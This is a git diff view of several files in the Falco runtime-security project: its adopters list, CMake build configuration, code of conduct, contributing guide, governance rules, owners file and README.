* [Qonto](https://qonto.com) - Qonto is a modern banking for SMEs and freelancers. Qonto provides a fully featured business account with a simplified accounting flow. Falco is used by our SecOps team to detect suspicious behaviors in our clusters.
* [Raft](https://goraft.tech) - Raft is a government contractor that offers cloud-native solutions across many different agencies including DoD (Department of Defense), HHS (Health and Human Services), as well as within CFPB (Consumer Finance Protection Bureau). Raft leverages Falco to detect threats in our client's Kubernetes clusters and as a Host Intrusion Detection System. Raft proudly recommends Falco across all our different projects.
* [Replicated](https://www.replicated.com/) - Replicated is the modern way to ship on-prem software. Replicated gives software vendors a container-based platform for easily deploying cloud native applications inside customers' environments to provide greater security and control. Replicated uses Falco as runtime security to detect threats in the Kubernetes clusters which host our critical SaaS services.
* [Secureworks](https://www.secureworks.com/) - Secureworks is a leading worldwide cybersecurity company with a cloud-native security product that combines the power of human intellect with security analytics to unify detection and response across cloud, network, and endpoint environments for improved security operations and outcomes. Our Taegis XDR platform and detection system processes petabytes of security relevant data to expose active threats amongst the billions of daily events from our customers. We are proud to protect our platforms Kubernetes deployments, as well as help our customers protect their own Linux and container environments, using Falco.
* [Shopify](https://www.shopify.com) - Shopify is the leading multi-channel commerce platform. Merchants use Shopify to design, set up, and manage their stores across multiple sales channels, including mobile, web, social media, marketplaces, brick-and-mortar locations, and pop-up shops. The platform also provides merchants with a powerful back-office and a single view of their business, from payments to shipping. The Shopify platform was engineered for reliability and scale, making enterprise-level technology available to businesses of all sizes. Shopify uses Falco to complement its Host and Network Intrusion Detection Systems.
* [Sight Machine](https://www.sightmachine.com) - Sight Machine is the category leader for manufacturing analytics and used by Global 500 companies to make better, faster decisions about their operations. Sight Machine uses Falco to help enforce SOC2 compliance as well as a tool for real time security monitoring and alerting in Kubernetes.
@@ -62,20 +21,5 @@ This is a list of production adopters of Falco (in alphabetical order):
* [Sumo Logic](https://www.sumologic.com/) - Sumo Logic provides a SaaS based log aggregation service that provides dashboards and applications to easily identify and analyze problems in your application and infrastructure. Sumo Logic provides native integrations for many CNCF projects, such as Falco, that allows end users to easily collect Falco events and analyze Falco events on DecSecOps focused dashboards.
* [Swissblock Technologies](https://swissblock.net/) At Swissblock we connect the dots by combining cutting-edge algorithmic trading strategies with in-depth market analysis. We route all Falco events to our control systems, both monitoring and logging. Being able to deeply analyse alerts, we can understand what is running on our Kubernetes clusters and check against security policies, specifically defined for each workload. A set of alarms notifies us in case of critical events, letting us react fast. In the near future we plan to build a little application to route Kubernetes internal events directly to Falco, fully leveraging Falco PodSecurityPolicies analyses.
* [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call probe. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-define infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.
* [Shapesecurity/F5](https://www.shapesecurity.com/) Shapesecurity defends against application fraud attacks like Account Take Over, Credential Stuffing, Fake Accounts, etc. Required by FedRamp certification, we needed to find a FIM solution to help monitor and protect our Kubernetes clusters. Traditional FIM solutions were not scalable and not working for our environment, but with Falco we found the solution we needed. Falco's detection capabilities have helped us identify anomalous behaviour within our clusters. We leverage Sidekick (https://github.com/falcosecurity/charts/tree/master/falcosidekick) to send Falco alerts to a PubSub which in turn publishes those alerts to our SIEM (SumoLogic)
* [Yahoo! JAPAN](https://www.yahoo.co.jp/) Yahoo! JAPAN is a leading company of internet in Japan. We build an AI Platform in our private cloud and provide it to scientists in our company. AI Platform is a multi-tenant Kubernetes environment and more flexible, faster, more efficient Machine Learning environment. Falco is used to detect unauthorized commands and malicious access and our AI Platform is monitored and alerted by Falco.
* [Sysdig](https://www.sysdig.com/) Sysdig originally created Falco in 2016 to detect unexpected or suspicious activity using a rules engine on top of the data that comes from the sysdig kernel system call driver. Sysdig provides tooling to help with vulnerability management, compliance, detection, incident response and forensics in Cloud-native environments. Sysdig Secure has extended Falco to include: a rule library, the ability to update macros, lists & rules via the user interface and API, automated tuning of rules, and rule creation based on profiling known system behavior. On top of the basic Falco rules, Sysdig Secure implements the concept of a "Security policy" that can comprise several rules which are evaluated for a user-defined infrastructure scope like Kubernetes namespaces, OpenShift clusters, deployment workload, cloud regions etc.
## Projects that use Falco libs
* [R6/Phoenix](https://r6security.com/) is an attack surface protection company that uses moving target defense to provide fully automated, proactive and devops friendly security to its customers. There are a set of policies you can add to enable the moving target defense capabilities. Some of them are triggered by a combination of Falco's findings. You can kill, restart and rename pods according to the ever changing policies.
* [SysFlow](https://sysflow.io) SysFlow is a cloud-native system telemetry framework that focuses on data abstraction, behavioral analytics, and noise reduction. At its core, SysFlow exposes a compact open telemetry format that records workload behaviors by connecting event and flow representations of process control flows, file interactions, and network communications. The resulting abstraction encodes a graph structure that enables provenance reasoning on host and container environments, and fast retrieval of security-relevant information.
## Adding a name
If you would like to add your name to this file, submit a pull request with your change.

File diff suppressed because it is too large Load Diff

View File

@@ -16,25 +16,6 @@ project(falco)
option(USE_BUNDLED_DEPS "Bundle hard to find dependencies into the Falco binary" OFF)
option(BUILD_WARNINGS_AS_ERRORS "Enable building with -Wextra -Werror flags" OFF)
option(MINIMAL_BUILD "Build a minimal version of Falco, containing only the engine and basic input/output (EXPERIMENTAL)" OFF)
option(MUSL_OPTIMIZED_BUILD "Enable if you want a musl optimized build" OFF)
# gVisor is currently only supported on Linux x86_64
if(CMAKE_SYSTEM_PROCESSOR STREQUAL "x86_64" AND CMAKE_SYSTEM_NAME MATCHES "Linux" AND NOT MINIMAL_BUILD)
option(BUILD_FALCO_GVISOR "Build gVisor support for Falco" ON)
if (BUILD_FALCO_GVISOR)
add_definitions(-DHAS_GVISOR)
endif()
endif()
# We shouldn't need to set this, see https://gitlab.kitware.com/cmake/cmake/-/issues/16419
option(EP_UPDATE_DISCONNECTED "ExternalProject update disconnected" OFF)
if (${EP_UPDATE_DISCONNECTED})
set_property(
DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}
PROPERTY EP_UPDATE_DISCONNECTED TRUE)
endif()
# Elapsed time
# set_property(GLOBAL PROPERTY RULE_LAUNCH_COMPILE "${CMAKE_COMMAND} -E time") # TODO(fntlnz, leodido): add a flag to enable this
@@ -66,27 +47,9 @@ if(CMAKE_BUILD_TYPE STREQUAL "debug")
else()
set(CMAKE_BUILD_TYPE "release")
set(KBUILD_FLAGS "${DRAIOS_FEATURE_FLAGS}")
add_definitions(-DBUILD_TYPE_RELEASE)
endif()
message(STATUS "Build type: ${CMAKE_BUILD_TYPE}")
if(MINIMAL_BUILD)
set(MINIMAL_BUILD_FLAGS "-DMINIMAL_BUILD")
endif()
if(MUSL_OPTIMIZED_BUILD)
set(MUSL_FLAGS "-static -Os -fPIE -pie")
add_definitions(-DMUSL_OPTIMIZED)
endif()
# explicitly set hardening flags
set(CMAKE_POSITION_INDEPENDENT_CODE ON)
set(FALCO_SECURITY_FLAGS "-Wl,-z,relro,-z,now -fstack-protector-strong")
if(CMAKE_BUILD_TYPE STREQUAL "release")
set(FALCO_SECURITY_FLAGS "${FALCO_SECURITY_FLAGS} -D_FORTIFY_SOURCE=2")
endif()
set(CMAKE_COMMON_FLAGS "${FALCO_SECURITY_FLAGS} -Wall -ggdb ${DRAIOS_FEATURE_FLAGS} ${MINIMAL_BUILD_FLAGS} ${MUSL_FLAGS}")
set(CMAKE_COMMON_FLAGS "-Wall -ggdb ${DRAIOS_FEATURE_FLAGS}")
if(BUILD_WARNINGS_AS_ERRORS)
set(CMAKE_SUPPRESSED_WARNINGS
@@ -107,14 +70,9 @@ set(CMAKE_CXX_FLAGS_RELEASE "-O3 -fno-strict-aliasing -DNDEBUG")
include(GetFalcoVersion)
set(PACKAGE_NAME "falco")
set(DRIVER_NAME "falco")
set(DRIVER_DEVICE_NAME "falco")
set(DRIVERS_REPO "https://download.falco.org/driver")
if(NOT DEFINED FALCO_COMPONENT_NAME)
set(FALCO_COMPONENT_NAME "${CMAKE_PROJECT_NAME}")
endif()
set(PROBE_VERSION "${FALCO_VERSION}")
set(PROBE_NAME "falco-probe")
set(PROBE_DEVICE_NAME "falco")
if(CMAKE_INSTALL_PREFIX_INITIALIZED_TO_DEFAULT)
set(CMAKE_INSTALL_PREFIX
/usr
@@ -125,9 +83,6 @@ set(CMD_MAKE make)
include(ExternalProject)
# libs
include(falcosecurity-libs)
# jq
include(jq)
@@ -137,55 +92,142 @@ message(STATUS "Using bundled nlohmann-json in '${NJSON_SRC}'")
set(NJSON_INCLUDE "${NJSON_SRC}/single_include")
ExternalProject_Add(
njson
URL "https://github.com/nlohmann/json/archive/v3.3.0.tar.gz"
URL_HASH "SHA256=2fd1d207b4669a7843296c41d3b6ac5b23d00dec48dba507ba051d14564aa801"
URL "https://s3.amazonaws.com/download.draios.com/dependencies/njson-3.3.0.tar.gz"
URL_MD5 "e26760e848656a5da400662e6c5d999a"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
# b64
include(b64)
# curses
# We pull this in because libsinsp won't build without it
set(CURSES_NEED_NCURSES TRUE)
find_package(Curses REQUIRED)
message(STATUS "Found ncurses: include: ${CURSES_INCLUDE_DIR}, lib: ${CURSES_LIBRARIES}")
# libb64
set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64")
message(STATUS "Using bundled b64 in '${B64_SRC}'")
set(B64_INCLUDE "${B64_SRC}/include")
set(B64_LIB "${B64_SRC}/src/libb64.a")
ExternalProject_Add(
b64
URL "https://s3.amazonaws.com/download.draios.com/dependencies/libb64-1.2.src.zip"
URL_MD5 "a609809408327117e2c643bed91b76c5"
CONFIGURE_COMMAND ""
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
# yaml-cpp
include(yaml-cpp)
if(NOT MINIMAL_BUILD)
# OpenSSL
include(openssl)
# OpenSSL
include(OpenSSL)
# libcurl
include(curl)
# libcurl
include(cURL)
# cpp-httlib
include(cpp-httplib)
# LuaJIT
set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src")
message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'")
set(LUAJIT_INCLUDE "${LUAJIT_SRC}")
set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a")
ExternalProject_Add(
luajit
URL "https://s3.amazonaws.com/download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz"
URL_MD5 "f14e9104be513913810cd59c8c658dc0"
CONFIGURE_COMMAND ""
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
# Lpeg
set(LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg")
set(LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a")
message(STATUS "Using bundled lpeg in '${LPEG_SRC}'")
set(LPEG_DEPENDENCIES "")
list(APPEND LPEG_DEPENDENCIES "luajit")
ExternalProject_Add(
lpeg
DEPENDS ${LPEG_DEPENDENCIES}
URL "https://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz"
URL_MD5 "0aec64ccd13996202ad0c099e2877ece"
BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build"
BUILD_IN_SOURCE 1
CONFIGURE_COMMAND ""
INSTALL_COMMAND "")
# libyaml
find_library(LIBYAML_LIB NAMES libyaml.so)
if(LIBYAML_LIB)
message(STATUS "Found libyaml: lib: ${LIBYAML_LIB}")
else()
message(FATAL_ERROR "Couldn't find system libyaml")
endif()
include(cxxopts)
# lyaml
set(LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml")
set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a")
message(STATUS "Using bundled lyaml in '${LYAML_SRC}'")
set(LYAML_DEPENDENCIES "")
list(APPEND LYAML_DEPENDENCIES "luajit")
ExternalProject_Add(
lyaml
DEPENDS ${LYAML_DEPENDENCIES}
URL "https://s3.amazonaws.com/download.draios.com/dependencies/lyaml-release-v6.0.tar.gz"
URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30"
BUILD_COMMAND ${CMD_MAKE}
BUILD_IN_SOURCE 1
CONFIGURE_COMMAND ./configure --enable-static LIBS=-lyaml LUA_INCLUDE=-I${LUAJIT_INCLUDE} LUA=${LUAJIT_SRC}/luajit
INSTALL_COMMAND sh -c
"cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua")
# One TBB
include(tbb)
# Intel TBB
set(TBB_SRC "${PROJECT_BINARY_DIR}/tbb-prefix/src/tbb")
#string-view-lite
include(DownloadStringViewLite)
message(STATUS "Using bundled tbb in '${TBB_SRC}'")
if(NOT MINIMAL_BUILD)
include(zlib)
include(cares)
include(protobuf)
# gRPC
include(grpc)
endif()
set(TBB_INCLUDE_DIR "${TBB_SRC}/include/")
set(TBB_LIB "${TBB_SRC}/build/lib_release/libtbb.a")
ExternalProject_Add(
tbb
URL "https://github.com/intel/tbb/archive/2018_U5.tar.gz"
URL_MD5 "ff3ae09f8c23892fbc3008c39f78288f"
CONFIGURE_COMMAND ""
BUILD_COMMAND ${CMD_MAKE} tbb_build_dir=${TBB_SRC}/build tbb_build_prefix=lib extra_inc=big_iron.inc
BUILD_IN_SOURCE 1
BUILD_BYPRODUCTS ${TBB_LIB}
INSTALL_COMMAND "")
# civetweb
set(CIVETWEB_SRC "${PROJECT_BINARY_DIR}/civetweb-prefix/src/civetweb/")
set(CIVETWEB_LIB "${CIVETWEB_SRC}/install/lib/libcivetweb.a")
set(CIVETWEB_INCLUDE_DIR "${CIVETWEB_SRC}/install/include")
message(STATUS "Using bundled civetweb in '${CIVETWEB_SRC}'")
ExternalProject_Add(
civetweb
URL "https://github.com/civetweb/civetweb/archive/v1.11.tar.gz"
URL_MD5 "b6d2175650a27924bccb747cbe084cd4"
CONFIGURE_COMMAND ${CMAKE_COMMAND} -E make_directory ${CIVETWEB_SRC}/install/lib
COMMAND ${CMAKE_COMMAND} -E make_directory ${CIVETWEB_SRC}/install/include
BUILD_IN_SOURCE 1
BUILD_COMMAND ${CMD_MAKE} COPT="-DNO_FILES" WITH_CPP=1
INSTALL_COMMAND ${CMD_MAKE} COPT="-DNO_FILES" install-lib install-headers PREFIX=${CIVETWEB_SRC}/install "WITH_CPP=1")
# gRPC
include(gRPC)
# sysdig
include(sysdig)
# Installation
install(FILES falco.yaml DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${FALCO_COMPONENT_NAME}")
install(FILES falco.yaml DESTINATION "${FALCO_ETC_DIR}")
if(NOT MINIMAL_BUILD)
# Coverage
include(Coverage)
# Coverage
include(Coverage)
# Tests
add_subdirectory(test)
endif()
# Tests
add_subdirectory(test)
# Rules
add_subdirectory(rules)
@@ -196,13 +238,9 @@ add_subdirectory(docker)
# Clang format
# add_custom_target(format COMMAND clang-format --style=file -i $<TARGET_PROPERTY:falco,SOURCES> COMMENT "Formatting ..." VERBATIM)
# Static analysis
include(static-analysis)
# Shared build variables
set(FALCO_SINSP_LIBRARY sinsp)
set(FALCO_SHARE_DIR share/falco)
set(FALCO_PLUGINS_DIR ${FALCO_SHARE_DIR}/plugins)
set(FALCO_ABSOLUTE_SHARE_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}")
set(FALCO_BIN_DIR bin)
@@ -211,9 +249,5 @@ add_subdirectory(userspace/engine)
add_subdirectory(userspace/falco)
add_subdirectory(tests)
if(NOT MUSL_OPTIMIZED_BUILD)
include(plugins)
endif()
# Packages configuration
include(CPackConfig)

38
CODE_OF_CONDUCT.md Normal file
View File

@@ -0,0 +1,38 @@
# CNCF Community Code of Conduct v1.0
## Contributor Code of Conduct
As contributors and maintainers of this project, and in the interest of fostering
an open and welcoming community, we pledge to respect all people who contribute
through reporting issues, posting feature requests, updating documentation,
submitting pull requests or patches, and other activities.
We are committed to making participation in this project a harassment-free experience for
everyone, regardless of level of experience, gender, gender identity and expression,
sexual orientation, disability, personal appearance, body size, race, ethnicity, age,
religion, or nationality.
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery
* Personal attacks
* Trolling or insulting/derogatory comments
* Public or private harassment
* Publishing other's private information, such as physical or electronic addresses,
without explicit permission
* Other unethical or unprofessional conduct.
Project maintainers have the right and responsibility to remove, edit, or reject
comments, commits, code, wiki edits, issues, and other contributions that are not
aligned to this Code of Conduct. By adopting this Code of Conduct, project maintainers
commit themselves to fairly and consistently applying these principles to every aspect
of managing this project. Project maintainers who do not follow or enforce the Code of
Conduct may be permanently removed from the project team.
This code of conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community.
Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting a CNCF project maintainer, [Sarah Novotny](mailto:sarahnovotny@google.com), and/or [Dan Kohn](mailto:dan@linuxfoundation.org).
This Code of Conduct is adapted from the [Contributor Covenant](http://contributor-covenant.org), version 1.2.0, available at
http://contributor-covenant.org/version/1/2/0/

149
CONTRIBUTING.md Normal file
View File

@@ -0,0 +1,149 @@
# Contributing to Falco
- [Contributing to Falco](#contributing-to-falco)
- [Code of Conduct](#code-of-conduct)
- [Issues](#issues)
- [Triage issues](#triage-issues)
- [More about labels](#more-about-labels)
- [Slack](#slack)
- [Pull Requests](#pull-requests)
- [Commit convention](#commit-convention)
- [Rule type](#rule-type)
- [Coding Guidelines](#coding-guidelines)
- [C++](#c)
- [Developer Certificate Of Origin](#developer-certificate-of-origin)
## Code of Conduct
Falco has a
[Code of Conduct](CODE_OF_CONDUCT.md)
to which all contributors must adhere, please read it before interacting with the repository or the community in any way.
## Issues
Issues are the heartbeat ❤️ of the Falco project, there are mainly three kinds of issues you can open:
- Bug report: you believe you found a problem in Falco and you want to discuss and get it fixed,
creating an issue with the **bug report template** is the best way to do so.
- Enhancement: any kind of new feature need to be discussed in this kind of issue, do you want a new rule or a new feature? This is the kind of issue you want to open. Be very good at explaining your intent, it's always important that others can understand what you mean in order to discuss, be open and collaborative in letting others help you getting this done!
- Failing tests: you noticed a flaky test or a problem with a build? This is the kind of issue to triage that!
The best way to get **involved** in the project is through issues, you can help in many ways:
- Issues triaging: participating in the discussion and adding details to open issues is always a good thing,
sometimes issues need to be verified, you could be the one writing a test case to fix a bug!
- Helping to resolve the issue: you can help in getting it fixed in many ways, more often by opening a pull request.
### Triage issues
We need help in categorizing issues. Thus any help is welcome!
When you triage an issue, you:
* assess whether it has merit or not
* quickly close it by correctly answering a question
* point the reporter to a resource or documentation answering the issue
* tag it via labels, projects, or milestones
* take ownership submitting a PR for it, in case you want 😇
#### More about labels
These guidelines are not set in stone and are subject to change.
Anyway a `kind/*` label for any issue is mandatory.
This is the current [label set](https://github.com/falcosecurity/falco/labels) we have.
You can use commands - eg., `/label <some-label>` to add (or remove) labels or manually do it.
The commands available are the following ones:
```
/[remove-](area|kind|priority|triage|label)
```
Some examples:
* `/area rules`
* `/remove-area rules`
* `/kind kernel-module`
* `/label good-first-issue`
* `/triage duplicate`
* `/triage unresolved`
* `/triage not-reproducible`
* `/triage support`
* ...
### Slack
Other discussion, and **support requests** should go through the `#falco` channel in the open source slack, please join [here](https://slack.sysdig.com).
## Pull Requests
Thanks for taking time to make a [pull request](https://help.github.com/articles/about-pull-requests) (hereafter PR).
In the PR body, feel free to add an area label if appropriate by typing `/area <AREA>`, PRs will also
need a kind, make sure to specify the appropriate one by typing `/kind <KIND>`.
The list of labels is [here](https://github.com/falcosecurity/falco/labels).
Also feel free to suggest a reviewer with `/cc @theirname`, or to assign an assignee using `/assign @nickname`.
Once your reviewer is happy, they will say `/lgtm` which will apply the
`lgtm` label, and will apply the `approved` label if they are an
[owner](/OWNERS).
Your PR will be automatically merged once it has the `lgtm` and `approved`
labels, does not have any `do-not-merge/*` labels, and all status checks (eg., rebase, tests, DCO) are positive.
### Commit convention
As commit convention, we adopt [Conventional Commits v1.0.0](https://www.conventionalcommits.org/en/v1.0.0/), we have an history
of commits that do not adopt the convention but any new commit must follow it to be eligible for merge.
#### Rule type
Besides the classic types, we adopt a type for rules, `rule(<scope>):`.
Example:
```
rule(Write below monitored dir): make sure monitored dirs are monitored.
```
Each rule change must be on its own commit, if a change to a macro is done while changing a rule they can go together but only one rule per commit must happen.
If you are changing only a macro, the commit will look like this:
```
rule(macro user_known_write_monitored_dir_conditions): make sure conditions are great
```
## Coding Guidelines
### C++
* File `userspace/engine/banned.h` defines some functions as invalid tokens. These functions are not allowed to be used in the codebase. Whenever creating a new cpp file, include the `"banned.h"` headers. This ensures that the banned functions are not compiled.
A complete list of banned functions can be found [here](./userspace/engine/banned.h).
## Developer Certificate Of Origin
The [Developer Certificate of Origin (DCO)](https://developercertificate.org/) is a lightweight way for contributors to certify that they wrote or otherwise have the right to submit the code they are contributing to the project.
Contributors to the Falco project sign-off that they adhere to these requirements by adding a `Signed-off-by` line to commit messages.
```
This is my commit message
Signed-off-by: John Poiana <jpoiana@falco.org>
```
Git even has a `-s` command line option to append this automatically to your commit message:
```
$ git commit -s -m 'This is my commit message'
```

55
GOVERNANCE.md Normal file
View File

@@ -0,0 +1,55 @@
# Process for becoming a maintainer
* Express interest to the existing maintainers that you or your organization is interested in becoming a
maintainer. Becoming a maintainer generally means that you are going to be spending substantial
time (>25%) on Falco for the foreseeable future. You should have domain expertise and be extremely
proficient in C++. Ultimately your goal is to become a maintainer that will represent your
organization.
* We will expect you to start contributing increasingly complicated PRs, under the guidance
of the existing maintainers.
* We may ask you to do some PRs from our backlog.
* As you gain experience with the code base and our standards, we will ask you to do code reviews
for incoming PRs (i.e., all maintainers are expected to shoulder a proportional share of
community reviews).
* After a period of approximately 2-3 months of working together and making sure we see eye to eye,
the existing maintainers will confer and decide whether to grant maintainer status or not.
We make no guarantees on the length of time this will take, but 2-3 months is the approximate
goal.
## Maintainer responsibilities
* Monitor Slack (delayed response is perfectly acceptable).
* Triage GitHub issues and perform pull request reviews for other maintainers and the community.
* During GitHub issue triage, apply all applicable [labels](https://github.com/falcosecurity/falco/labels)
to each new issue. Labels are extremely useful for future issue follow up. Which labels to apply
is somewhat subjective so just use your best judgment.
* Make sure that ongoing PRs are moving forward at the right pace or closing them.
* Participate when called upon in the security releases. Note that although this should be a rare
occurrence, if a serious vulnerability is found, the process may take up to several full days of
work to implement. This reality should be taken into account when discussing time commitment
obligations with employers.
* In general continue to be willing to spend at least 25% of ones time working on Falco (~1.25
business days per week).
## When does a maintainer lose maintainer status
If a maintainer is no longer interested or cannot perform the maintainer duties listed above, they
should volunteer to be moved to emeritus status. In extreme cases this can also occur by a vote of
the maintainers per the voting process below.
# Conflict resolution and voting
In general, we prefer that technical issues and maintainer membership are amicably worked out
between the persons involved. If a dispute cannot be decided independently, the maintainers can be
called in to decide an issue. If the maintainers themselves cannot decide an issue, the issue will
be resolved by voting. The voting process is a simple majority in which each senior maintainer
receives two votes and each normal maintainer receives one vote.
# Adding new projects to the falcosecurity GitHub organization
New projects will be added to the falcosecurity organization via GitHub issue discussion in one of the
existing projects in the organization. Once sufficient discussion has taken place (~3-5 business
days but depending on the volume of conversation), the maintainers of *the project where the issue
was opened* (since different projects in the organization may have different maintainers) will
decide whether the new project should be added. See the section above on voting if the maintainers
cannot easily decide.

8
OWNERS
View File

@@ -1,16 +1,12 @@
approvers:
- fntlnz
- kris-nova
- leodido
- mstemm
- leogr
- jasondellaluce
- fededp
reviewers:
- fntlnz
- kaizhe
- kris-nova
- leodido
- mfdii
- mstemm
- leogr
- jasondellaluce
- fededp

153
README.md
View File

@@ -3,165 +3,68 @@
<hr>
[![Build Status](https://img.shields.io/circleci/build/github/falcosecurity/falco/master?style=for-the-badge)](https://circleci.com/gh/falcosecurity/falco) [![CII Best Practices Summary](https://img.shields.io/cii/summary/2317?label=CCI%20Best%20Practices&style=for-the-badge)](https://bestpractices.coreinfrastructure.org/projects/2317) [![GitHub](https://img.shields.io/github/license/falcosecurity/falco?style=for-the-badge)](COPYING) [![Latest](https://img.shields.io/github/v/release/falcosecurity/falco?style=for-the-badge)](https://github.com/falcosecurity/falco/releases/latest) ![Architectures](https://img.shields.io/badge/ARCHS-x86__64%7Caarch64-blueviolet?style=for-the-badge)
# The Falco Project
Want to talk? Join us on the [#falco](https://kubernetes.slack.com/messages/falco) channel in the [Kubernetes Slack](https://slack.k8s.io).
#### Latest release
### Latest releases
**v0.19.0**
Read the [change log](CHANGELOG.md)
Read the [change log](CHANGELOG.md).
<!--
Badges in the following table are constructed by using the
https://img.shields.io/badge/dynamic/xml endpoint.
Parameters are configured for fetching packages from S3 before
(filtered by prefix, sorted in ascending order) and for picking
the latest package by using an XPath selector after.
- Common query parameters:
color=#300aec7
style=flat-square
label=Falco
- DEB packages parameters:
url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/deb/stable/falco-
query=substring-before(substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'],"falco-"),".asc")
- RPM packages parameters:
url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/rpm/falco-
query=substring-before(substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'],"falco-"),".asc")
- BIN packages parameters:
url=https://falco-distribution.s3-eu-west-1.amazonaws.com/?prefix=packages/bin/x86_64/falco-
query=substring-after((/*[name()='ListBucketResult']/*[name()='Contents'])[last()]/*[name()='Key'], "falco-")
Notes:
- if more than 1000 items are present under as S3 prefix,
the actual latest package will be not picked;
see https://docs.aws.amazon.com/AmazonS3/latest/API/API_ListObjectsV2.html
- for `-dev` packages, the S3 prefix is modified accordingly
- finally, all parameters are URL encoded and appended to the badge endpoint
-->
| | development | stable |
|--------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| rpm | [![rpm-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm-dev%2Ffalco-%26delimiter=aarch64)][1] | [![rpm](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Frpm%2Ffalco-%26delimiter=aarch64)][2] |
| deb | [![deb-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb-dev%2Fstable%2Ffalco-%26delimiter=aarch64)][3] | [![deb](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-before%28substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%22falco-%22%29%2C%22.asc%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fdeb%2Fstable%2Ffalco-%26delimiter=aarch64)][4] |
| binary | [![bin-dev](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin-dev%2Fx86_64%2Ffalco-)][5] | [![bin](https://img.shields.io/badge/dynamic/xml?color=%2300aec7&style=flat-square&label=Falco&query=substring-after%28%28%2F%2A%5Bname%28%29%3D%27ListBucketResult%27%5D%2F%2A%5Bname%28%29%3D%27Contents%27%5D%29%5Blast%28%29%5D%2F%2A%5Bname%28%29%3D%27Key%27%5D%2C%20%22falco-%22%29&url=https%3A%2F%2Ffalco-distribution.s3-eu-west-1.amazonaws.com%2F%3Fprefix%3Dpackages%2Fbin%2Fx86_64%2Ffalco-)][6] |
